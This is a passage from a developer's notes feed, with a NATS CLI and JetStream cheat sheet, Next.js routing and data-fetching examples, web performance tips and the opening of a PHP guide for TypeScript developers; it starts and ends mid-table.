&lt;td&gt;&lt;code&gt;nats request &amp;lt;subject&amp;gt; &amp;lt;data&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Send request and wait for reply&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats reply &amp;lt;subject&amp;gt; &amp;lt;data&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Listen for requests and send replies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats bench &amp;lt;subject&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Run a performance benchmark&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;JetStream&lt;/h2&gt;
&lt;p&gt;JetStream is the built-in persistence engine providing &lt;strong&gt;at-least-once&lt;/strong&gt; or &lt;strong&gt;exactly-once&lt;/strong&gt; delivery.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Streams&lt;/td&gt;
&lt;td&gt;Message stores capturing data published to specific subjects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Consumers&lt;/td&gt;
&lt;td&gt;Stateful views tracking delivered/acknowledged messages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pull Consumer&lt;/td&gt;
&lt;td&gt;Client requests batches of messages (recommended for scalability)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Push Consumer&lt;/td&gt;
&lt;td&gt;Server delivers messages to a specified subject&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Stream Management&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats account info&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Check JetStream status and account limits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats stream add &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create a new stream (interactive)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats stream ls&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;List all streams&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats stream info &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;View stream config and state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats stream view &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Browse messages in a stream&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats stream rm &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Delete a stream&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats stream purge &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Purge all messages from a stream&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats stream edit &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Edit stream configuration&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Consumer Management&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats consumer add &amp;lt;stream&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create a consumer (interactive)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats consumer ls &amp;lt;stream&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;List consumers for a stream&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats consumer info &amp;lt;stream&amp;gt; &amp;lt;consumer&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;View consumer state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats consumer next &amp;lt;stream&amp;gt; &amp;lt;consumer&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fetch next message (pull consumer)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats consumer rm &amp;lt;stream&amp;gt; &amp;lt;consumer&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Delete a consumer&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Key-Value Store&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats kv add &amp;lt;bucket&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create a KV bucket&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats kv put &amp;lt;bucket&amp;gt; &amp;lt;key&amp;gt; &amp;lt;value&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set a key&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats kv get &amp;lt;bucket&amp;gt; &amp;lt;key&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Get a key&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats kv del &amp;lt;bucket&amp;gt; &amp;lt;key&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Delete a key&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats kv ls &amp;lt;bucket&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;List keys in a bucket&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats kv rm &amp;lt;bucket&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Delete a bucket&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats kv watch &amp;lt;bucket&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Watch for changes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Object Store&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats obj add &amp;lt;bucket&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create an object store bucket&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats obj put &amp;lt;bucket&amp;gt; &amp;lt;file&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Upload a file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats obj get &amp;lt;bucket&amp;gt; &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Download a file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats obj ls &amp;lt;bucket&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;List objects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats obj rm &amp;lt;bucket&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Delete a bucket&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Server&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats-server&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Start NATS server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats-server -js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Start with JetStream enabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats-server -m 8222&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enable HTTP monitoring on port 8222&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats server info&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;View connected server info&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats server ping&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ping all servers in cluster&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Config Example (&lt;code&gt;server.conf&lt;/code&gt;)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;jetstream {
  store_dir: &quot;/data/nats-jetstream&quot;
  max_mem: 1G
  max_file: 10G
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Context Management&lt;/h2&gt;
&lt;p&gt;Contexts save common connection config (server, credentials) for reuse.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats context save &amp;lt;name&amp;gt; --server &amp;lt;url&amp;gt; --creds &amp;lt;file&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create a context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats context select &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Switch to a context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats context ls&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;List available contexts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nats context rm &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Remove a context&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Example: Create and Use a Context&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Save a context with server and credentials
nats context save mycontext --server nats.example.com --creds ~/my.creds

# Subscribe using a context
nats sub --context mycontext &quot;prices.&amp;gt;&quot;

# Publish using a context
nats pub --context mycontext &quot;prices.USD&quot; &quot;1.25&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Examples&lt;/h2&gt;
&lt;h3&gt;Subscribe to a Subject&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nats --server nats.example.com sub &quot;prices.&amp;gt;&quot;
nats --server 10.20.125.100 sub &apos;test.subject&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Publish Messages&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Simple message
nats pub subject_name &quot;Hello World&quot;

# JSON payload
nats pub subject_name &apos;{&quot;key&quot;: &quot;value&quot;, &quot;number&quot;: 42}&apos;

# Publish from file
cat data.json | nats pub subject_name
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>messaging</category><category>backend</category><author>Zander Martineau</author></item><item><title>Next.js</title><link>https://zander.wtf/notes/nextjs/</link><guid isPermaLink="true">https://zander.wtf/notes/nextjs/</guid><description>App Router (Next.js 13+) The App Router uses a new app/ directory structure with file-based conventions. File conventions | File | Purpose | |…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;App Router (Next.js 13+)&lt;/h2&gt;
&lt;p&gt;The App Router uses a new &lt;code&gt;app/&lt;/code&gt; directory structure with file-based conventions.&lt;/p&gt;
&lt;h3&gt;File conventions&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;page.tsx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;UI for a route&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;layout.tsx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Shared layout that wraps children&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;loading.tsx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Loading UI (Suspense boundary)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;error.tsx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Error UI (Error boundary)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;not-found.tsx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;404 UI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;route.ts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;API endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Root layout&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// app/layout.tsx
export default function RootLayout({
  children,
}: {
  children: React.ReactNode
}) {
  return (
    &amp;lt;html lang=&quot;en&quot;&amp;gt;
      &amp;lt;body&amp;gt;{children}&amp;lt;/body&amp;gt;
    &amp;lt;/html&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Page with params&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// app/posts/[slug]/page.tsx
interface PageProps {
  params: Promise&amp;lt;{ slug: string }&amp;gt;
}

export default async function PostPage({ params }: PageProps) {
  const { slug } = await params
  const post = await getPost(slug)
  return &amp;lt;article&amp;gt;{post.title}&amp;lt;/article&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Server Components (default)&lt;/h3&gt;
&lt;p&gt;Components in the App Router are Server Components by default. They can be async and fetch data directly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/users/page.tsx
async function getUsers() {
  const res = await fetch(&apos;https://api.example.com/users&apos;, {
    cache: &apos;no-store&apos;, // or &apos;force-cache&apos; for static
  })
  return res.json()
}

export default async function UsersPage() {
  const users = await getUsers()
  return (
    &amp;lt;ul&amp;gt;
      {users.map((user) =&amp;gt; (
        &amp;lt;li key={user.id}&amp;gt;{user.name}&amp;lt;/li&amp;gt;
      ))}
    &amp;lt;/ul&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Client Components&lt;/h3&gt;
&lt;p&gt;Add &lt;code&gt;&apos;use client&apos;&lt;/code&gt; directive for interactivity.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;use client&apos;

import { useState } from &apos;react&apos;

export function Counter() {
  const [count, setCount] = useState(0)
  return &amp;lt;button onClick={() =&amp;gt; setCount(count + 1)}&amp;gt;Count: {count}&amp;lt;/button&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Server Actions&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// app/actions.ts
&apos;use server&apos;

export async function createPost(formData: FormData) {
  const title = formData.get(&apos;title&apos;)
  // Insert into database
  // revalidatePath(&apos;/posts&apos;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// app/posts/new/page.tsx
import { createPost } from &apos;../actions&apos;

export default function NewPost() {
  return (
    &amp;lt;form action={createPost}&amp;gt;
      &amp;lt;input name=&quot;title&quot; required /&amp;gt;
      &amp;lt;button type=&quot;submit&quot;&amp;gt;Create&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Route Handlers (API routes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// app/api/users/route.ts
import { NextResponse } from &apos;next/server&apos;

export async function GET() {
  const users = await getUsers()
  return NextResponse.json(users)
}

export async function POST(request: Request) {
  const body = await request.json()
  const user = await createUser(body)
  return NextResponse.json(user, { status: 201 })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Metadata&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// app/layout.tsx or app/page.tsx
import type { Metadata } from &apos;next&apos;

export const metadata: Metadata = {
  title: &apos;My App&apos;,
  description: &apos;My app description&apos;,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dynamic metadata:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/posts/[slug]/page.tsx
import type { Metadata } from &apos;next&apos;

export async function generateMetadata({ params }): Promise&amp;lt;Metadata&amp;gt; {
  const { slug } = await params
  const post = await getPost(slug)
  return { title: post.title }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Navigation&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import Link from &apos;next/link&apos;
import { useRouter } from &apos;next/navigation&apos; // not &apos;next/router&apos;

// Link component
&amp;lt;Link href=&quot;/about&quot;&amp;gt;About&amp;lt;/Link&amp;gt;

// Programmatic navigation (client components only)
const router = useRouter()
router.push(&apos;/about&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Pages Router (Legacy)&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;_app.tsx&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import type { AppProps } from &apos;next/app&apos;

export default function App({ Component, pageProps }: AppProps) {
  return &amp;lt;Component {...pageProps} /&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;getStaticProps&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Fetch data at build time.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import type { GetStaticProps, InferGetStaticPropsType } from &apos;next&apos;

export const getStaticProps: GetStaticProps&amp;lt;{ data: Post[] }&amp;gt; = async () =&amp;gt; {
  const res = await fetch(&apos;https://...&apos;)
  const data = await res.json()

  return {
    props: { data },
    revalidate: 60, // ISR: regenerate every 60 seconds
  }
}

export default function Page({
  data,
}: InferGetStaticPropsType&amp;lt;typeof getStaticProps&amp;gt;) {
  return &amp;lt;div&amp;gt;{/* render data */}&amp;lt;/div&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;getStaticPaths&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;For dynamic routes with &lt;code&gt;getStaticProps&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import type { GetStaticPaths } from &apos;next&apos;

export const getStaticPaths: GetStaticPaths = async () =&amp;gt; {
  const posts = await getPosts()
  return {
    paths: posts.map((post) =&amp;gt; ({ params: { slug: post.slug } })),
    fallback: &apos;blocking&apos;, // or true or false
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;getServerSideProps&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Fetch data on every request.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import type { GetServerSideProps } from &apos;next&apos;

export const getServerSideProps: GetServerSideProps = async (context) =&amp;gt; {
  const { params, req, res, query } = context
  const data = await fetchData(params.id)

  if (!data) {
    return { notFound: true }
  }

  return { props: { data } }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;useRouter (Pages Router)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { useRouter } from &apos;next/router&apos;

export default function Page() {
  const router = useRouter()
  const { id } = router.query

  return &amp;lt;button onClick={() =&amp;gt; router.push(&apos;/about&apos;)}&amp;gt;Go to About&amp;lt;/button&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>Web performance tips</title><link>https://zander.wtf/notes/performance-tips/</link><guid isPermaLink="true">https://zander.wtf/notes/performance-tips/</guid><description>Reduce Cumulative Layout Shift (CLS) Always show scrollbar Reserve space for images Always include width and height on images: Or use aspect-ratio in CSS:…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Reduce Cumulative Layout Shift (CLS)&lt;/h2&gt;
&lt;h3&gt;Always show scrollbar&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;html {
  overflow-y: scroll;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Reserve space for images&lt;/h3&gt;
&lt;p&gt;Always include &lt;code&gt;width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt; on images:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;photo.jpg&quot; alt=&quot;&quot; width=&quot;800&quot; height=&quot;600&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or use &lt;code&gt;aspect-ratio&lt;/code&gt; in CSS:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;img {
  aspect-ratio: 16 / 9;
  width: 100%;
  height: auto;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Reserve space for dynamic content&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;.ad-container {
  min-height: 250px; /* Reserve space for ad */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Improve Largest Contentful Paint (LCP)&lt;/h2&gt;
&lt;h3&gt;Preload critical assets&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;preload&quot; href=&quot;hero.jpg&quot; as=&quot;image&quot; /&amp;gt;
&amp;lt;link rel=&quot;preload&quot; href=&quot;critical.woff2&quot; as=&quot;font&quot; type=&quot;font/woff2&quot; crossorigin /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Prioritize LCP image&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;hero.jpg&quot; alt=&quot;&quot; fetchpriority=&quot;high&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Performance API&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Mark points in time
performance.mark(&apos;start&apos;)
// ... code to measure ...
performance.mark(&apos;end&apos;)

// Measure between marks
performance.measure(&apos;My operation&apos;, &apos;start&apos;, &apos;end&apos;)

// Get the measurement
const measures = performance.getEntriesByName(&apos;My operation&apos;)
console.log(measures[0].duration) // time in ms
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Quick wins&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;loading=&quot;lazy&quot;&lt;/code&gt; on below-fold images&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;decoding=&quot;async&quot;&lt;/code&gt; on images&lt;/li&gt;
&lt;li&gt;Compress images with modern formats (WebP, AVIF)&lt;/li&gt;
&lt;li&gt;Use a CDN with proper caching headers&lt;/li&gt;
&lt;li&gt;Minimize main thread work (defer non-critical JS)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>performance</category><category>css</category><author>Zander Martineau</author></item><item><title>PHP for TypeScript developers</title><link>https://zander.wtf/notes/php-for-ts-devs/</link><guid isPermaLink="true">https://zander.wtf/notes/php-for-ts-devs/</guid><description>A guide to PHP for developers coming from TypeScript/JavaScript. Key differences from TypeScript | Concept | TypeScript | PHP |…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A guide to PHP for developers coming from TypeScript/JavaScript.&lt;/p&gt;
&lt;h2&gt;Key differences from TypeScript&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;PHP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Typing&lt;/td&gt;
&lt;td&gt;Static, structural&lt;/td&gt;
&lt;td&gt;Dynamic (optional type hints)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;Browser/Node.js&lt;/td&gt;
&lt;td&gt;Server-side (CLI/web server)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Syntax&lt;/td&gt;
&lt;td&gt;C-like, no &lt;code&gt;$&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;C-like, &lt;code&gt;$&lt;/code&gt; for variables&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Arrays&lt;/td&gt;
&lt;td&gt;Separate Array/Object&lt;/td&gt;
&lt;td&gt;Single array type (indexed/associative)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Package manager&lt;/td&gt;
&lt;td&gt;npm/yarn/pnpm&lt;/td&gt;
&lt;td&gt;Composer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Null&lt;/td&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; / &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; only&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Variables and constants&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const name: string = &quot;Alice&quot;
let age: number = 30
const isActive = true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// Variables (always start with $)
$name = &quot;Alice&quot;;     // Type inferred
$age = 30;
$isActive = true;

// With type declarations (PHP 7.4+)
string $name = &quot;Alice&quot;;  // Only in class properties

// Constants
const MAX_SIZE = 100;
define(&apos;API_URL&apos;, &apos;https://api.example.com&apos;);

// Class constants
class Config {
    public const VERSION = &apos;1.0.0&apos;;
    private const SECRET = &apos;xxx&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Basic types&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;PHP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;number&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;int&lt;/code&gt;, &lt;code&gt;float&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;boolean&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bool&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;any&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mixed&lt;/code&gt; (PHP 8.0+)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; / &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Array&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;array&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Record&amp;lt;K, V&amp;gt;&lt;/code&gt;&lt;/td&gt;
